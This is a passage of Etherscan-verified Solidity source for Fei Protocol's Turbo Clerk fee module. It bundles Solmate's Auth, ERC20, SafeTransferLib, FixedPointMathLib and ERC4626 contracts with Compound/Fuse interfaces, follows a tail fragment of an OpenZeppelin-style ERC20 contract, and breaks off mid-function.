* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
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/**
*Submitted for verification at Etherscan.io on 2022-03-22
*/
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
/// @notice Provides a flexible and updatable auth pattern which is completely separate from application logic.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)
abstract contract Auth {
event OwnerUpdated(address indexed user, address indexed newOwner);
event AuthorityUpdated(address indexed user, Authority indexed newAuthority);
address public owner;
Authority public authority;
constructor(address _owner, Authority _authority) {
owner = _owner;
authority = _authority;
emit OwnerUpdated(msg.sender, _owner);
emit AuthorityUpdated(msg.sender, _authority);
}
modifier requiresAuth() {
require(isAuthorized(msg.sender, msg.sig), "UNAUTHORIZED");
_;
}
function isAuthorized(address user, bytes4 functionSig) internal view virtual returns (bool) {
Authority auth = authority; // Memoizing authority saves us a warm SLOAD, around 100 gas.
// Checking if the caller is the owner only after calling the authority saves gas in most cases, but be
// aware that this makes protected functions uncallable even to the owner if the authority is out of order.
return (address(auth) != address(0) && auth.canCall(user, address(this), functionSig)) || user == owner;
}
function setAuthority(Authority newAuthority) public virtual {
// We check if the caller is the owner first because we want to ensure they can
// always swap out the authority even if it's reverting or using up a lot of gas.
require(msg.sender == owner || authority.canCall(msg.sender, address(this), msg.sig));
authority = newAuthority;
emit AuthorityUpdated(msg.sender, newAuthority);
}
function setOwner(address newOwner) public virtual requiresAuth {
owner = newOwner;
emit OwnerUpdated(msg.sender, newOwner);
}
}
/// @notice A generic interface for a contract which provides authorization data to an Auth instance.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)
interface Authority {
function canCall(
address user,
address target,
bytes4 functionSig
) external view returns (bool);
}
/// @notice Gas optimized reentrancy protection for smart contracts.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/ReentrancyGuard.sol)
/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol)
abstract contract ReentrancyGuard {
uint256 private locked = 1;
modifier nonReentrant() {
require(locked == 1, "REENTRANCY");
locked = 2;
_;
locked = 1;
}
}
/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
uint8 public immutable decimals;
/*///////////////////////////////////////////////////////////////
ERC20 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
/*///////////////////////////////////////////////////////////////
EIP-2612 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 internal immutable INITIAL_CHAIN_ID;
bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;
mapping(address => uint256) public nonces;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) {
name = _name;
symbol = _symbol;
decimals = _decimals;
INITIAL_CHAIN_ID = block.chainid;
INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
}
/*///////////////////////////////////////////////////////////////
ERC20 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 amount) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
balanceOf[msg.sender] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
/*///////////////////////////////////////////////////////////////
EIP-2612 LOGIC
//////////////////////////////////////////////////////////////*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
// Unchecked because the only math done is incrementing
// the owner's nonce which cannot realistically overflow.
unchecked {
address recoveredAddress = ecrecover(
keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
keccak256(
abi.encode(
keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
),
owner,
spender,
value,
nonces[owner]++,
deadline
)
)
)
),
v,
r,
s
);
require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");
allowance[recoveredAddress][spender] = value;
}
emit Approval(owner, spender, value);
}
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
}
function computeDomainSeparator() internal view virtual returns (bytes32) {
return
keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256("1"),
block.chainid,
address(this)
)
);
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 amount) internal virtual {
totalSupply += amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
balanceOf[from] -= amount;
// Cannot underflow because a user's balance
// will never be larger than the total supply.
unchecked {
totalSupply -= amount;
}
emit Transfer(from, address(0), amount);
}
}
/// @notice Safe ETH and ERC20 transfer library that gracefully handles missing return values.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeTransferLib.sol)
/// @dev Use with caution! Some functions in this library knowingly create dirty bits at the destination of the free memory pointer.
/// @dev Note that none of the functions in this library check that a token has code at all! That responsibility is delegated to the caller.
library SafeTransferLib {
event Debug(bool one, bool two, uint256 retsize);
/*///////////////////////////////////////////////////////////////
ETH OPERATIONS
//////////////////////////////////////////////////////////////*/
function safeTransferETH(address to, uint256 amount) internal {
bool success;
assembly {
// Transfer the ETH and store if it succeeded or not.
success := call(gas(), to, amount, 0, 0, 0, 0)
}
require(success, "ETH_TRANSFER_FAILED");
}
/*///////////////////////////////////////////////////////////////
ERC20 OPERATIONS
//////////////////////////////////////////////////////////////*/
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 amount
) internal {
bool success;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata into memory, beginning with the function selector.
mstore(freeMemoryPointer, 0x23b872dd00000000000000000000000000000000000000000000000000000000)
mstore(add(freeMemoryPointer, 4), from) // Append the "from" argument.
mstore(add(freeMemoryPointer, 36), to) // Append the "to" argument.
mstore(add(freeMemoryPointer, 68), amount) // Append the "amount" argument.
success := and(
// Set success to whether the call reverted, if not we check it either
// returned exactly 1 (not just any non-zero data), or had no return data.
or(and(eq(mload(0), 1), gt(returndatasize(), 31)), iszero(returndatasize())),
// We use 100 because the length of our calldata totals up like so: 4 + 32 * 3.
// We use 0 and 32 to copy up to 32 bytes of return data into the scratch space.
// Counterintuitively, this call must be positioned second to the addition in the
// order of operations or else returndatasize() will be zero during the computation.
call(gas(), token, 0, freeMemoryPointer, 100, 0, 32)
)
}
require(success, "TRANSFER_FROM_FAILED");
}
function safeTransfer(
ERC20 token,
address to,
uint256 amount
) internal {
bool success;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata into memory, beginning with the function selector.
mstore(freeMemoryPointer, 0xa9059cbb00000000000000000000000000000000000000000000000000000000)
mstore(add(freeMemoryPointer, 4), to) // Append the "to" argument.
mstore(add(freeMemoryPointer, 36), amount) // Append the "amount" argument.
success := and(
// Set success to whether the call reverted, if not we check it either
// returned exactly 1 (not just any non-zero data), or had no return data.
or(and(eq(mload(0), 1), gt(returndatasize(), 31)), iszero(returndatasize())),
// We use 68 because the length of our calldata totals up like so: 4 + 32 * 2.
// We use 0 and 32 to copy up to 32 bytes of return data into the scratch space.
// Counterintuitively, this call must be positioned second to the addition in the
// order of operations or else returndatasize() will be zero during the computation.
call(gas(), token, 0, freeMemoryPointer, 68, 0, 32)
)
}
require(success, "TRANSFER_FAILED");
}
function safeApprove(
ERC20 token,
address to,
uint256 amount
) internal {
bool success;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata into memory, beginning with the function selector.
mstore(freeMemoryPointer, 0x095ea7b300000000000000000000000000000000000000000000000000000000)
mstore(add(freeMemoryPointer, 4), to) // Append the "to" argument.
mstore(add(freeMemoryPointer, 36), amount) // Append the "amount" argument.
success := and(
// Set success to whether the call reverted, if not we check it either
// returned exactly 1 (not just any non-zero data), or had no return data.
or(and(eq(mload(0), 1), gt(returndatasize(), 31)), iszero(returndatasize())),
// We use 68 because the length of our calldata totals up like so: 4 + 32 * 2.
// We use 0 and 32 to copy up to 32 bytes of return data into the scratch space.
// Counterintuitively, this call must be positioned second to the addition in the
// order of operations or else returndatasize() will be zero during the computation.
call(gas(), token, 0, freeMemoryPointer, 68, 0, 32)
)
}
require(success, "APPROVE_FAILED");
}
}
/// @title Fei
/// @author Fei Protocol
/// @notice Minimal interface for the Fei token.
abstract contract Fei is ERC20 {
function mint(address to, uint256 amount) external virtual;
}
/// @title CERC20
/// @author Compound Labs and Rari Capital
/// @notice Minimal Compound/Fuse Comptroller interface.
abstract contract CERC20 is ERC20 {
/// @notice Deposit an amount of underlying tokens to the CERC20.
/// @param underlyingAmount Amount of underlying tokens to deposit.
/// @return An error code or zero if there was no error in the deposit.
function mint(uint256 underlyingAmount) external virtual returns (uint256);
/// @notice Borrow an amount of underlying tokens from the CERC20.
/// @param underlyingAmount Amount of underlying tokens to borrow.
/// @return An error code or zero if there was no error in the borrow.
function borrow(uint256 underlyingAmount) external virtual returns (uint256);
/// @notice Repay an amount of underlying tokens to the CERC20.
/// @param underlyingAmount Amount of underlying tokens to repay.
/// @return An error code or zero if there was no error in the repay.
function repayBorrow(uint256 underlyingAmount) external virtual returns (uint256);
/// @notice Returns the underlying balance of a specific user.
/// @param user The user who's balance the CERC20 will retrieve.
/// @return The amount of underlying tokens the user is entitled to.
function balanceOfUnderlying(address user) external view virtual returns (uint256);
/// @notice Returns the amount of underlying tokens a cToken redeemable for.
/// @return The amount of underlying tokens a cToken is redeemable for.
function exchangeRateStored() external view virtual returns (uint256);
/// @notice Withdraw a specific amount of underlying tokens from the CERC20.
/// @param underlyingAmount Amount of underlying tokens to withdraw.
/// @return An error code or zero if there was no error in the withdraw.
function redeemUnderlying(uint256 underlyingAmount) external virtual returns (uint256);
/// @notice Return teh current borrow balance of a user in the CERC20.
/// @param user The user to get the borrow balance for.
/// @return The current borrow balance of the user.
function borrowBalanceCurrent(address user) external virtual returns (uint256);
/// @notice Repay a user's borrow on their behalf.
/// @param user The user who's borrow to repay.
/// @param underlyingAmount The amount of debt to repay.
/// @return An error code or zero if there was no error in the repayBorrowBehalf.
function repayBorrowBehalf(address user, uint256 underlyingAmount) external virtual returns (uint256);
}
/// @notice Arithmetic library with operations for fixed-point numbers.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/FixedPointMathLib.sol)
/// @author Inspired by USM (https://github.com/usmfum/USM/blob/master/contracts/WadMath.sol)
library FixedPointMathLib {
/*///////////////////////////////////////////////////////////////
SIMPLIFIED FIXED POINT OPERATIONS
//////////////////////////////////////////////////////////////*/
uint256 internal constant WAD = 1e18; // The scalar of ETH and most ERC20s.
function mulWadDown(uint256 x, uint256 y) internal pure returns (uint256) {
return mulDivDown(x, y, WAD); // Equivalent to (x * y) / WAD rounded down.
}
function mulWadUp(uint256 x, uint256 y) internal pure returns (uint256) {
return mulDivUp(x, y, WAD); // Equivalent to (x * y) / WAD rounded up.
}
function divWadDown(uint256 x, uint256 y) internal pure returns (uint256) {
return mulDivDown(x, WAD, y); // Equivalent to (x * WAD) / y rounded down.
}
function divWadUp(uint256 x, uint256 y) internal pure returns (uint256) {
return mulDivUp(x, WAD, y); // Equivalent to (x * WAD) / y rounded up.
}
/*///////////////////////////////////////////////////////////////
LOW LEVEL FIXED POINT OPERATIONS
//////////////////////////////////////////////////////////////*/
function mulDivDown(
uint256 x,
uint256 y,
uint256 denominator
) internal pure returns (uint256 z) {
assembly {
// Store x * y in z for now.
z := mul(x, y)
// Equivalent to require(denominator != 0 && (x == 0 || (x * y) / x == y))
if iszero(and(iszero(iszero(denominator)), or(iszero(x), eq(div(z, x), y)))) {
revert(0, 0)
}
// Divide z by the denominator.
z := div(z, denominator)
}
}
function mulDivUp(
uint256 x,
uint256 y,
uint256 denominator
) internal pure returns (uint256 z) {
assembly {
// Store x * y in z for now.
z := mul(x, y)
// Equivalent to require(denominator != 0 && (x == 0 || (x * y) / x == y))
if iszero(and(iszero(iszero(denominator)), or(iszero(x), eq(div(z, x), y)))) {
revert(0, 0)
}
// First, divide z - 1 by the denominator and add 1.
// We allow z - 1 to underflow if z is 0, because we multiply the
// end result by 0 if z is zero, ensuring we return 0 if z is zero.
z := mul(iszero(iszero(z)), add(div(sub(z, 1), denominator), 1))
}
}
function rpow(
uint256 x,
uint256 n,
uint256 scalar
) internal pure returns (uint256 z) {
assembly {
switch x
case 0 {
switch n
case 0 {
// 0 ** 0 = 1
z := scalar
}
default {
// 0 ** n = 0
z := 0
}
}
default {
switch mod(n, 2)
case 0 {
// If n is even, store scalar in z for now.
z := scalar
}
default {
// If n is odd, store x in z for now.
z := x
}
// Shifting right by 1 is like dividing by 2.
let half := shr(1, scalar)
for {
// Shift n right by 1 before looping to halve it.
n := shr(1, n)
} n {
// Shift n right by 1 each iteration to halve it.
n := shr(1, n)
} {
// Revert immediately if x ** 2 would overflow.
// Equivalent to iszero(eq(div(xx, x), x)) here.
if shr(128, x) {
revert(0, 0)
}
// Store x squared.
let xx := mul(x, x)
// Round to the nearest number.
let xxRound := add(xx, half)
// Revert if xx + half overflowed.
if lt(xxRound, xx) {
revert(0, 0)
}
// Set x to scaled xxRound.
x := div(xxRound, scalar)
// If n is even:
if mod(n, 2) {
// Compute z * x.
let zx := mul(z, x)
// If z * x overflowed:
if iszero(eq(div(zx, x), z)) {
// Revert if x is non-zero.
if iszero(iszero(x)) {
revert(0, 0)
}
}
// Round to the nearest number.
let zxRound := add(zx, half)
// Revert if zx + half overflowed.
if lt(zxRound, zx) {
revert(0, 0)
}
// Return properly scaled zxRound.
z := div(zxRound, scalar)
}
}
}
}
}
/*///////////////////////////////////////////////////////////////
GENERAL NUMBER UTILITIES
//////////////////////////////////////////////////////////////*/
function sqrt(uint256 x) internal pure returns (uint256 z) {
assembly {
// Start off with z at 1.
z := 1
// Used below to help find a nearby power of 2.
let y := x
// Find the lowest power of 2 that is at least sqrt(x).
if iszero(lt(y, 0x100000000000000000000000000000000)) {
y := shr(128, y) // Like dividing by 2 ** 128.
z := shl(64, z) // Like multiplying by 2 ** 64.
}
if iszero(lt(y, 0x10000000000000000)) {
y := shr(64, y) // Like dividing by 2 ** 64.
z := shl(32, z) // Like multiplying by 2 ** 32.
}
if iszero(lt(y, 0x100000000)) {
y := shr(32, y) // Like dividing by 2 ** 32.
z := shl(16, z) // Like multiplying by 2 ** 16.
}
if iszero(lt(y, 0x10000)) {
y := shr(16, y) // Like dividing by 2 ** 16.
z := shl(8, z) // Like multiplying by 2 ** 8.
}
if iszero(lt(y, 0x100)) {
y := shr(8, y) // Like dividing by 2 ** 8.
z := shl(4, z) // Like multiplying by 2 ** 4.
}
if iszero(lt(y, 0x10)) {
y := shr(4, y) // Like dividing by 2 ** 4.
z := shl(2, z) // Like multiplying by 2 ** 2.
}
if iszero(lt(y, 0x8)) {
// Equivalent to 2 ** z.
z := shl(1, z)
}
// Shifting right by 1 is like dividing by 2.
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
// Compute a rounded down version of z.
let zRoundDown := div(x, z)
// If zRoundDown is smaller, use it.
if lt(zRoundDown, z) {
z := zRoundDown
}
}
}
}
/// @notice Minimal ERC4626 tokenized Vault implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/mixins/ERC4626.sol)
/// @dev Do not use in production! ERC-4626 is still in the last call stage and is subject to change.
abstract contract ERC4626 is ERC20 {
using SafeTransferLib for ERC20;
using FixedPointMathLib for uint256;
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Deposit(address indexed caller, address indexed owner, uint256 assets, uint256 shares);
event Withdraw(
address indexed caller,
address indexed receiver,
address indexed owner,
uint256 assets,
uint256 shares
);
/*///////////////////////////////////////////////////////////////
IMMUTABLES
//////////////////////////////////////////////////////////////*/
ERC20 public immutable asset;
constructor(
ERC20 _asset,
string memory _name,
string memory _symbol
) ERC20(_name, _symbol, _asset.decimals()) {
asset = _asset;
}
/*///////////////////////////////////////////////////////////////
DEPOSIT/WITHDRAWAL LOGIC
//////////////////////////////////////////////////////////////*/
function deposit(uint256 assets, address receiver) public virtual returns (uint256 shares) {
// Check for rounding error since we round down in previewDeposit.
require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES");
// Need to transfer before minting or ERC777s could reenter.
asset.safeTransferFrom(msg.sender, address(this), assets);
_mint(receiver, shares);
emit Deposit(msg.sender, receiver, assets, shares);
afterDeposit(assets, shares);
}
function mint(uint256 shares, address receiver) public virtual returns (uint256 assets) {
assets = previewMint(shares); // No need to check for rounding error, previewMint rounds up.
// Need to transfer before minting or ERC777s could reenter.
asset.safeTransferFrom(msg.sender, address(this), assets);
_mint(receiver, shares);
emit Deposit(msg.sender, receiver, assets, shares);
afterDeposit(assets, shares);
}
function withdraw(
uint256 assets,
address receiver,
address owner
) public virtual returns (uint256 shares) {
shares = previewWithdraw(assets); // No need to check for rounding error, previewWithdraw rounds up.
if (msg.sender != owner) {
uint256 allowed = allowance[owner][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[owner][msg.sender] = allowed - shares;
}
beforeWithdraw(assets, shares);
_burn(owner, shares);
emit Withdraw(msg.sender, receiver, owner, assets, shares);
asset.safeTransfer(receiver, assets);
}
function redeem(
uint256 shares,
address receiver,
address owner
) public virtual returns (uint256 assets) {
if (msg.sender != owner) {
uint256 allowed = allowance[owner][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[owner][msg.sender] = allowed - shares;
}
// Check for rounding error since we round down in previewRedeem.
require((assets = previewRedeem(shares)) != 0, "ZERO_ASSETS");
beforeWithdraw(assets, shares);
_burn(owner, shares);
emit Withdraw(msg.sender, receiver, owner, assets, shares);
asset.safeTransfer(receiver, assets);
}
/*///////////////////////////////////////////////////////////////
ACCOUNTING LOGIC
//////////////////////////////////////////////////////////////*/
function totalAssets() public view virtual returns (uint256);
function convertToShares(uint256 assets) public view returns (uint256) {
uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.
return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets());
}
function convertToAssets(uint256 shares) public view returns (uint256) {
uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.
return supply == 0 ? shares : shares.mulDivDown(totalAssets(), supply);
}
function previewDeposit(uint256 assets) public view virtual returns (uint256) {
return convertToShares(assets);
}
function previewMint(uint256 shares) public view virtual returns (uint256) {
uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.
return supply == 0 ? shares : shares.mulDivUp(totalAssets(), supply);
}
function previewWithdraw(uint256 assets) public view virtual returns (uint256) {
uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.
return supply == 0 ? assets : assets.mulDivUp(supply, totalAssets());
}
function previewRedeem(uint256 shares) public view virtual returns (uint256) {
return convertToAssets(shares);
}
/*///////////////////////////////////////////////////////////////
DEPOSIT/WITHDRAWAL LIMIT LOGIC
//////////////////////////////////////////////////////////////*/
function maxDeposit(address) public view virtual returns (uint256) {
return type(uint256).max;
}
function maxMint(address) public view virtual returns (uint256) {
return type(uint256).max;
}
function maxWithdraw(address owner) public view virtual returns (uint256) {
return convertToAssets(balanceOf[owner]);
}
function maxRedeem(address owner) public view virtual returns (uint256) {
return balanceOf[owner];
}
/*///////////////////////////////////////////////////////////////
INTERNAL HOOKS LOGIC
//////////////////////////////////////////////////////////////*/
function beforeWithdraw(uint256 assets, uint256 shares) internal virtual {}
function afterDeposit(uint256 assets, uint256 shares) internal virtual {}
}
/// @notice Price Feed
/// @author Compound Labs
/// @notice Minimal cToken price feed interface.
interface PriceFeed {
/// @notice Get the underlying price of the cToken's asset.
/// @param cToken The cToken to get the underlying price of.
/// @return The underlying asset price scaled by 1e18.
function getUnderlyingPrice(CERC20 cToken) external view returns (uint256);
function add(address[] calldata underlyings, address[] calldata _oracles) external;
function changeAdmin(address newAdmin) external;
}
/// @title Comptroller
/// @author Compound Labs and Rari Capital
/// @notice Minimal Compound/Fuse Comptroller interface.
interface Comptroller {
/// @notice Retrieves the admin of the Comptroller.
/// @return The current administrator of the Comptroller.
function admin() external view returns (address);
/// @notice Retrieves the price feed of the Comptroller.
/// @return The current price feed of the Comptroller.
function oracle() external view returns (PriceFeed);
/// @notice Maps underlying tokens to their equivalent cTokens in a pool.
/// @param token The underlying token to find the equivalent cToken for.
/// @return The equivalent cToken for the given underlying token.
function cTokensByUnderlying(ERC20 token) external view returns (CERC20);
/// @notice Get's data about a cToken.
/// @param cToken The cToken to get data about.
/// @return isListed Whether the cToken is listed in the Comptroller.
/// @return collateralFactor The collateral factor of the cToken.
function markets(CERC20 cToken) external view returns (bool isListed, uint256 collateralFactor);
/// @notice Enters into a list of cToken markets, enabling them as collateral.
/// @param cTokens The list of cTokens to enter into, enabling them as collateral.
/// @return A list of error codes, or 0 if there were no failures in entering the cTokens.
function enterMarkets(CERC20[] calldata cTokens) external returns (uint256[] memory);
function _setPendingAdmin(address newPendingAdmin)
external
returns (uint256);
function _setBorrowCapGuardian(address newBorrowCapGuardian) external;
function _setMarketSupplyCaps(
CERC20[] calldata cTokens,
uint256[] calldata newSupplyCaps
) external;
function _setMarketBorrowCaps(
CERC20[] calldata cTokens,
uint256[] calldata newBorrowCaps
) external;
function _setPauseGuardian(address newPauseGuardian)
external
returns (uint256);
function _setMintPaused(CERC20 cToken, bool state)
external
returns (bool);
function _setBorrowPaused(CERC20 cToken, bool borrowPaused)
external
returns (bool);
function _setTransferPaused(bool state) external returns (bool);
function _setSeizePaused(bool state) external returns (bool);
function _setPriceOracle(address newOracle)
external
returns (uint256);
function _setCloseFactor(uint256 newCloseFactorMantissa)
external
returns (uint256);
function _setLiquidationIncentive(uint256 newLiquidationIncentiveMantissa)
external
returns (uint256);
function _setCollateralFactor(
CERC20 cToken,
uint256 newCollateralFactorMantissa
) external returns (uint256);
function _acceptAdmin() external virtual returns (uint256);
function _deployMarket(
bool isCEther,
bytes calldata constructionData,
uint256 collateralFactorMantissa
) external returns (uint256);
function borrowGuardianPaused(address cToken)
external
view
returns (bool);
function comptrollerImplementation()
external
view
returns (address);
function rewardsDistributors(uint256 index)
external
view
returns (address);
function _addRewardsDistributor(address distributor)
external
returns (uint256);
function _setWhitelistEnforcement(bool enforce)
external
returns (uint256);
function _setWhitelistStatuses(
address[] calldata suppliers,
bool[] calldata statuses
) external returns (uint256);
function _unsupportMarket(CERC20 cToken) external returns (uint256);
function _toggleAutoImplementations(bool enabled)
external
returns (uint256);
}
/// @title Fuse Admin
/// @author Fei Protocol
/// @notice Minimal Fuse Admin interface.
interface FuseAdmin {
/// @notice Whitelists or blacklists a user from accessing the cTokens in the pool.
/// @param users The users to whitelist or blacklist.
/// @param enabled Whether to whitelist or blacklist each user.
function _setWhitelistStatuses(address[] calldata users, bool[] calldata enabled) external;
function _deployMarket(
address underlying,
address irm,
string calldata name,
string calldata symbol,
address impl,
bytes calldata data,
uint256 reserveFactor,
uint256 adminFee,
uint256 collateralFactorMantissa
) external;
}
interface IReverseRegistrar {
/**
@notice sets reverse ENS Record
@param name the ENS record to set
After calling this, a user has a fully configured reverse record claiming the provided name as that account's canonical name.
*/
function setName(string memory name) external returns (bytes32);
}
/**
@title helper contract to set reverse ens record with solmate Auth
@author joeysantoro
@notice sets reverse ENS record against canonical ReverseRegistrar https://docs.ens.domains/contract-api-reference/reverseregistrar.
*/
abstract contract ENSReverseRecordAuth is Auth {
/// @notice the ENS Reverse Registrar
IReverseRegistrar public constant REVERSE_REGISTRAR = IReverseRegistrar(0x084b1c3C81545d370f3634392De611CaaBFf8148);
function setENSName(string memory name) external requiresAuth {
REVERSE_REGISTRAR.setName(name);
}
}
/// @title Turbo Clerk
/// @author Transmissions11
/// @notice Fee determination module for Turbo Safes.
contract TurboClerk is Auth, ENSReverseRecordAuth {
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
/// @notice Creates a new Turbo Clerk contract.
/// @param _owner The owner of the Clerk.
/// @param _authority The Authority of the Clerk.
constructor(address _owner, Authority _authority) Auth(_owner, _authority) {}
/*///////////////////////////////////////////////////////////////
DEFAULT FEE CONFIGURATION
//////////////////////////////////////////////////////////////*/
/// @notice The default fee on Safe interest taken by the protocol.
/// @dev A fixed point number where 1e18 represents 100% and 0 represents 0%.
uint256 public defaultFeePercentage;
/// @notice Emitted when the default fee percentage is updated.
/// @param newDefaultFeePercentage The new default fee percentage.
event DefaultFeePercentageUpdated(address indexed user, uint256 newDefaultFeePercentage);
/// @notice Sets the default fee percentage.
/// @param newDefaultFeePercentage The new default fee percentage.
function setDefaultFeePercentage(uint256 newDefaultFeePercentage) external requiresAuth {
// A fee percentage over 100% makes no sense.
require(newDefaultFeePercentage <= 1e18, "FEE_TOO_HIGH");
// Update the default fee percentage.
defaultFeePercentage = newDefaultFeePercentage;
emit DefaultFeePercentageUpdated(msg.sender, newDefaultFeePercentage);
}
/*///////////////////////////////////////////////////////////////
CUSTOM FEE CONFIGURATION
//////////////////////////////////////////////////////////////*/
/// @notice Maps collaterals to their custom fees on interest taken by the protocol.
/// @dev A fixed point number where 1e18 represents 100% and 0 represents 0%.
mapping(ERC20 => uint256) public getCustomFeePercentageForCollateral;
/// @notice Maps Safes to their custom fees on interest taken by the protocol.
/// @dev A fixed point number where 1e18 represents 100% and 0 represents 0%.
mapping(TurboSafe => uint256) public getCustomFeePercentageForSafe;
/// @notice Emitted when a collateral's custom fee percentage is updated.
/// @param collateral The collateral who's custom fee percentage was updated.
/// @param newFeePercentage The new custom fee percentage.
event CustomFeePercentageUpdatedForCollateral(
address indexed user,
ERC20 indexed collateral,
uint256 newFeePercentage
);
/// @notice Sets a collateral's custom fee percentage.
/// @param collateral The collateral to set the custom fee percentage for.
/// @param newFeePercentage The new custom fee percentage for the collateral.
function setCustomFeePercentageForCollateral(ERC20 collateral, uint256 newFeePercentage) external requiresAuth {
// A fee percentage over 100% makes no sense.
require(newFeePercentage <= 1e18, "FEE_TOO_HIGH");
// Update the custom fee percentage for the Safe.
getCustomFeePercentageForCollateral[collateral] = newFeePercentage;
emit CustomFeePercentageUpdatedForCollateral(msg.sender, collateral, newFeePercentage);
}
/// @notice Emitted when a Safe's custom fee percentage is updated.
/// @param safe The Safe who's custom fee percentage was updated.
/// @param newFeePercentage The new custom fee percentage.
event CustomFeePercentageUpdatedForSafe(address indexed user, TurboSafe indexed safe, uint256 newFeePercentage);
/// @notice Sets a Safe's custom fee percentage.
/// @param safe The Safe to set the custom fee percentage for.
/// @param newFeePercentage The new custom fee percentage for the Safe.
function setCustomFeePercentageForSafe(TurboSafe safe, uint256 newFeePercentage) external requiresAuth {
// A fee percentage over 100% makes no sense.
require(newFeePercentage <= 1e18, "FEE_TOO_HIGH");
// Update the custom fee percentage for the Safe.
getCustomFeePercentageForSafe[safe] = newFeePercentage;
